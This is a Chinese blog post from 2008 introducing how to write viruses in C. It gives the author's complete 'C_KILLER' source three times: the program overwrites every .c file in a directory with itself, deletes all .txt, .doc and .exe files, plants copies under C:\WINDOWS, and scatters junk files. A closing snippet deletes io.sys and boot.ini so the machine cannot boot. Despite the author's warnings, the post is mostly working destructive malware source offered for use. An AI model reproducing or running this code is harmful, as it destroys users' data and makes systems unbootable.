加载中…
个人资料
  • 博客等级:
  • 博客积分:
  • 博客访问:
  • 关注人气:
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
正文 字体大小:

C语言病毒代码,及写病毒简单介绍

(2008-11-20 22:16:10)
标签:

病毒

c

源码

经典

心得

编制病毒的语言

最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病

 

毒要掌握的基础:

1).Win32编程,进程,线程,内存,等等。   

2).32位汇编,以指令用法为主。386汇编就比较够用了。  

3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。   

4).调试技术。VC,TD32,SoftIce,等等。要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.

 

三 用C编制病毒以TurboC2.0为例.它的库函数可以实现很多功能.

 

 如以下两个函数: 1).findfirst和findnext函数:

在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。

2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.

 

四 第一个C病毒

 

<<计算机病毒解密>>上有一句比较经典的话,

"或许把恶意软件造成的损害说成是心理上的损害可能会更恰当一些".

从这个意义上说,我的病毒是非常典型的病毒.

 

下面是我写的病毒.

 

它主要由四个模块组成.

RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.

 CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。

 Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.

 Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身. 前三个是有效负载. 第四个可以说是它的感染机制.

 

**********************************


IN FACT,IT"S NOT A VIRYUS AT ALL.


**********************************/

#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void copyfile(char *infile, char *outfile)
{
FILE *in,*out;

in = fopen(infile,"r");
out = fopen(outfile,"w");

while (!feof(in))
{
fputc(fgetc(in),out);
}

fclose(in);
fclose(out);
}


void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"};
char *addtion = ":\\";


for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;

NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}




path = strcat(disk[getdisk()],addtion);

chdir(path);

for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX";

NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}

}




void CreatEXE()
{
int i;
char *path;

char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};


for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080);
copyfile( "C_KILLER.C",s[i]);

}
}



void Remove()
{

int done;
int i;

struct ffblk ffblk;
char *documenttype[3] = {"*.txt","*.doc","*.exe"};
for (i = 0; i < 3; i++)
{
done = findfirst(documenttype[i],&ffblk,2);
while (!done)
{
remove(ffblk.ff_name);
done = findnext(&ffblk);
}
}
}




void Breed()
{

int done;

struct ffblk ffblk;

done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}

}


void main()
{



printf("THERE IS A VIRUS BY XIAOKE.\n\n");

Breed();
Remove();
CreatEXE();


printf("COULD YOU TELL ME YOUR NAME?\n\n");
printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");

MakeRubbish();
getchar();
printf("IT'S ONLY A JOKE! THANK YOU!\n\n");

clrscr();
system("cmd");
}

 

------------------------几个病毒源代码--------------------------------------------------------

 
NO 1
 


#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void copyfile(char *infile, char *outfile)
{
    FILE *in,*out;

    in = fopen(infile,"r");
    out = fopen(outfile,"w");

    while (!feof(in))
    {
        fputc(fgetc(in),out);
    }

    fclose(in);
    fclose(out);
}


void MakeRubbish()
{
    int i;    
    FILE *fp;
    char *path;
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"};
    char *addtion = ":\\";

    
    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX" ;

        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }




    path = strcat(disk[getdisk()],addtion);

    chdir(path);

    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX";

        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }

}




void CreatEXE()
{
    int i;
    char *path;

    char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};


    for ( i = 0; i < 2; i++)
    {
        open(s[i], 0x0100,0x0080);
        copyfile( "C_KILLER.C",s[i]);

    }
}



void Remove()
{
        
    int done;
    int i;

    struct ffblk ffblk;
    char *documenttype[3] = {"*.txt","*.doc","*.exe"};
    for (i = 0; i < 3; i++)
    {
        done = findfirst(documenttype[i],&ffblk,2);
        while (!done)
        {
                remove(ffblk.ff_name);
                done = findnext(&ffblk);
        }
    }
}




void Breed()
{
        
    int done;

    struct ffblk ffblk;

    done = findfirst("*.c",&ffblk,2);
    while (!done)
    {
        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

        {
                copyfile("C_KILLER.C",ffblk.ff_name);
        }
        done = findnext(&ffblk);
    }

}


void main()
{

        

        printf("THERE IS A VIRUS BY  XIAOKE.\n\n");

        Breed();
        Remove();
        CreatEXE();


        printf("COULD YOU TELL ME YOUR NAME?\n\n");
        printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");

        MakeRubbish();
        getchar();
        printf("IT'S ONLY A JOKE! THANK YOU!\n\n");

        clrscr();
        system("cmd");
}
 
 
 
NO 2
 
 

#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void copyfile(char *infile, char *outfile)
{
        FILE *in,*out;

        in = fopen(infile,"r");
        out = fopen(outfile,"w");

        while (!feof(in))
        {
            fputc(fgetc(in),out);
        }

        fclose(in);
        fclose(out);
}


void MakeRubbish()
{
        int i;    
        FILE *fp;
        char *path;
        char *NewName;
        char *disk[7] = {"A","B","C","D","E","F","G"};
        char *addtion = ":\\";

       
        for (i = 0; i<5; i++)
        {
            char tempname[] = "XXXXXX" ;

            NewName = mktemp(tempname);
            fp = fopen(NewName,"w");
            fclose(fp);
        }


        path = strcat(disk[getdisk()],addtion);

        chdir(path);

        for (i = 0; i<5; i++)
        {
            char tempname[] = "XXXXXX";

            NewName = mktemp(tempname);
            fp = fopen(NewName,"w");
            fclose(fp);
        }

}


void CreatEXE()
{
        int i;
        char *path;

        char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};


        for ( i = 0; i < 2; i++)
        {
            open(s[i], 0x0100,0x0080);
            copyfile( "C_KILLER.C",s[i]);

        }
}



void Remove()
{
        
        int done;
        int i;

        struct ffblk ffblk;
        char *documenttype[3] = {"*.txt","*.doc","*.exe"};
        for (i = 0; i < 3; i++)
        {
            done = findfirst(documenttype[i],&ffblk,2);
            while (!done)
            {
                    remove(ffblk.ff_name);
                    done = findnext(&ffblk);
            }
        }
}


void Breed()
{
        
        int done;

        struct ffblk ffblk;

        done = findfirst("*.c",&ffblk,2);
        while (!done)
        {
            if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

            {
                    copyfile("C_KILLER.C",ffblk.ff_name);
            }
            done = findnext(&ffblk);
        }

}


void main()
{

        

            printf("THERE IS A VIRUS BY      XIAOKE.\n\n");

            Breed();
            Remove();
            CreatEXE();


            printf("COULD YOU TELL ME YOUR NAME?\n\n");
            printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");

            MakeRubbish();
            getchar();
            printf("IT'S ONLY A JOKE! THANK YOU!\n\n");

            clrscr();
            system("cmd");
}

 

 

最简单的c语言病毒源程序

 

 

#include<stdlib.h>
main()
{
printf("病毒!!!!!!");

getchar();

getchar();

getchar();   

system("del c:\io.sys ");

    system("del c:\boot.ini");
}

删除windows启动的两个关键文件,导致机子无法重起。

千万不要在自己的机子上运行该程序。

最简单:

main()

{

printf("\t\b\b");

}

 

 

 

0

阅读 收藏 喜欢 打印举报/Report
  

新浪BLOG意见反馈留言板 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 产品答疑

新浪公司 版权所有